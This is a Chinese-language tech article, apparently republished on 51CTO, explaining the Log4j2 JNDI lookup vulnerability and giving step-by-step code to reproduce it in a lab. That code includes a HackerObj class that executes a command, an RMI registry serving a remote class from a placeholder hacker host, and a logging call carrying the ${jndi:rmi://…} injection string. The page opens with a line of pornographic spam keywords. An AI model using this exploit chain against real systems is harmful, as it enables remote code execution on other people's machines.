偷偷摘套内射激情视频,久久精品99国产国产精,中文字幕无线乱码人妻,中文在线中文a,性爽19p

Log4j2被爆高危漏洞,漏洞如何復(fù)現(xiàn),原理是什么呢??

安全 漏洞
我們之前使用的log打印一般是log4j,然后就是logback當(dāng)然springboot默認(rèn)的也是logbac。因為在性能上logback優(yōu)于log4j,從官網(wǎng)上看log4j2性能會優(yōu)于log4j及l(fā)ogback,所以后面不少人升級成log4j2當(dāng)然好像這幾個的作者都是同一個大神。

相信大家看到最多的就是這張圖片了,打了碼,還出來個計算器

圖片

Stringsource="${jndi:rmi://黑客IP:1099/test}";
logger.error(source);

上面這段代碼并不會像預(yù)想的打印出字符串,"${jndi:rmi://黑客ip:端口/test}"出來,如果這個日志是在自己的機(jī)器里打印的,就會在自己的機(jī)器里啟動計算器工具。

這現(xiàn)象的原理是什么呢?

關(guān)鍵就是這兩條:

1、log4j2打印日志時,部分字符串會當(dāng)成命令名服務(wù)被執(zhí)行。

2、log4j2可以通過jndi:rmi下載遠(yuǎn)程代碼,并在自己機(jī)器執(zhí)行。

以下是詳細(xì)說明:

Apache Log4j 2 Apache Log4j 2 is an upgrade to Log4j that provides significant improvements over its predecessor, Log4j 1.x, and provides many of the improvements available in Logback while fixing some inherent problems in Logback’s architecture.   Important: Security Vulnerability CVE-2021-45046 The Log4j team has been made aware of a security vulnerability, CVE-2021-45046, that has been addressed in Log4j 2.12.2 for Java 7 and 2.16.0 for Java 8 and up.  Summary: Apache Log4j2 Thread Context Message Pattern and Context Lookup Pattern vulnerable to a denial of service attack.  Details It was found that the fix to address CVE-2021-44228 in Apache Log4j 2.15.0 was incomplete in certain non-default configurations. This could allows attackers with control over Thread Context Map (MDC) input data when the logging configuration uses a Pattern Layout with either a Context Lookup (for example, $${ctx:loginId}) or a Thread Context Map pattern (%X, %mdc, or %MDC) to craft malicious input data using a JNDI Lookup pattern resulting in a denial of service (DOS) attack. Log4j 2.15.0 restricts JNDI LDAP lookups to localhost by default.  Note that previous mitigations involving configuration such as setting the system property log4j2.noFormatMsgLookup to true do NOT mitigate this specific vulnerability.

以上是apache官網(wǎng)的一段說明,我們之前使用的log打印一般是log4j,然后就是logback當(dāng)然springboot默認(rèn)的也是logbac。因為在性能上logback優(yōu)于log4j,從官網(wǎng)上看log4j2性能會優(yōu)于log4j及l(fā)ogback,所以后面不少人升級成log4j2當(dāng)然好像這幾個的作者都是同一個大神。

回到我們的問題為什么會出現(xiàn)這種問題,還是官網(wǎng)上說的log4j2提供了一些可以讓用戶查詢一些配置信息。

圖片

上圖可以看出log4j2通過 http://logger.info("${java:hw}")可以打印出服務(wù)器cpu信息出來而不是字符串“${java:hw}”,大家可以看到這個就類似sql注入,另外一個關(guān)鍵的就是log4j2此功能是通過java lookup實現(xiàn)的,也就是說黑客可以這樣操作:

圖片

從上圖可以看出,最關(guān)鍵的地方就在紅色部署,用戶機(jī)器會下載黑客的可執(zhí)行文件并在用戶機(jī)器上執(zhí)行就是這病毒了,最上面演示的demo就是黑客讓用戶執(zhí)行了自己機(jī)器上打開了計算器工具。

如果大家想自己實驗一下可以參考以下的代碼,這個是引用了網(wǎng)上一篇博客:

原文鏈接:https://blog.csdn.net/lizz861109/article/details/121928916

當(dāng)然這篇博客沒有實現(xiàn) rmi://127.0.0.1:1099/xxxx 這個rmi服務(wù)代碼可參考:

p.s. 網(wǎng)上很多程序都不完整或打了碼

//step1:在黑客機(jī)新建HackerObj.java 

import javax.lang.model.element.Name;
import javax.naming.Context;
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.HashMap;

/**
 * @Author: hanko
 * @Date: 2021-12-16 10:12
 */
public class HackerObj {
    public static void exec(String cmd) throws IOException {
        String sb = "";
        BufferedInputStream bufferedInputStream = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
        BufferedReader inBr = new BufferedReader(new InputStreamReader(bufferedInputStream));
        String lineStr;
        while ((lineStr = inBr.readLine()) != null) {
            sb += lineStr + "\n";

        }
        inBr.close();
        inBr.close();
    }

    public Object getObjectInstance(Object obj, Name name,
         Context context, HashMap<?, ?> environment) throws Exception {
        return null;
    }

    static {
        try {
            System.out.println("黑客程序在此機(jī)器被執(zhí)行了。");
            exec("calc.exe");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}

//step2:在黑客機(jī)把HackerObj.java編譯成HackerObj.class,然后開個nginx把HackerObj.class放進(jìn)去讓它可以在網(wǎng)絡(luò)上訪問,如: http://黑客ip:8080/HackerObj.class

p.s. HackerObj.java創(chuàng)造時不要放在package里,放package里好像被用戶下載會提示notfindclass,有空再研究一下。

//step3: 創(chuàng)建個Server.java啟動黑客rmi服務(wù)

package com.jndi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
/**
 * @Author: hanko
 * @Date: 2021-12-16 9:18
 */
public class Server {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        //http://黑客ip:8080/HackerObj.class
        String url = "http://黑客ip:8080/"; 
        System.out.println("Create RMI registry on port 1099");
        Reference reference = new Reference("HackerObj", "HackerObj", url);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("test", referenceWrapper);
    }
}


//stpe4:在用戶機(jī)新建Client.java,

package com.jndi;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

/**
 * @Author: hanko
 * @Date: 2021-12-16 10:27
 */
public class Client {
    static Logger logger = LogManager.getLogger();
    public static void main(String[] args) {
        logger.error("${jndi:rmi://黑客ip:1099/test}");
    }
}


// 在用戶機(jī)執(zhí)行Client.java會發(fā)現(xiàn)“黑客程序在此機(jī)器被執(zhí)行了?!?//在用戶機(jī)器打印出來了,同時用戶機(jī)器計算器工具也被打開了


//step5: log4j2  復(fù)現(xiàn)就是用以下代碼
 logger.info("${java:vm}");
 logger.error("${jndi:rmi://黑客ip:1099/test}");

總結(jié)

關(guān)鍵就是這兩條:

1、log4j2打印日志時,部分字符串會當(dāng)成命令名服務(wù)被執(zhí)行。

2、log4j2可以通過jndi:rmi下載遠(yuǎn)程代碼,并在自己機(jī)器執(zhí)行。

責(zé)任編輯:武曉燕 來源: 棧江湖
相關(guān)推薦

2022-01-27 09:16:08

CPU內(nèi)存.NET

2021-12-30 08:55:41

Log4j2FastJson漏洞

2022-02-13 23:51:44

DeepfenceLog4j2漏洞

2021-12-11 13:29:36

SpringBoot 官方

2022-03-30 11:29:53

漏洞補(bǔ)丁Spring

2021-12-13 07:28:34

Java漏洞復(fù)現(xiàn)

2022-01-24 10:02:53

漏洞微軟網(wǎng)絡(luò)攻擊

2010-08-23 15:50:43

2021-12-16 10:43:04

黑客網(wǎng)絡(luò)攻擊漏洞

2021-12-13 01:49:34

漏洞Log4j代碼

2021-12-23 06:51:54

阿里云Log4j2漏洞

2013-02-22 13:39:57

2022-01-10 11:16:40

漏洞 Log4j2Jndi

2021-12-29 06:54:23

Log4j2 漏洞績效

2022-05-30 14:04:23

Log4j遠(yuǎn)程代碼漏洞

2021-12-20 09:32:55

Log4j2漏洞攻擊

2021-12-14 06:59:39

Apache Log4j2 漏洞

2021-12-23 09:47:36

Log4jRCE漏洞DoS漏洞

2021-12-13 17:44:51

程序員漏洞開發(fā)

2013-06-26 14:32:18

點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號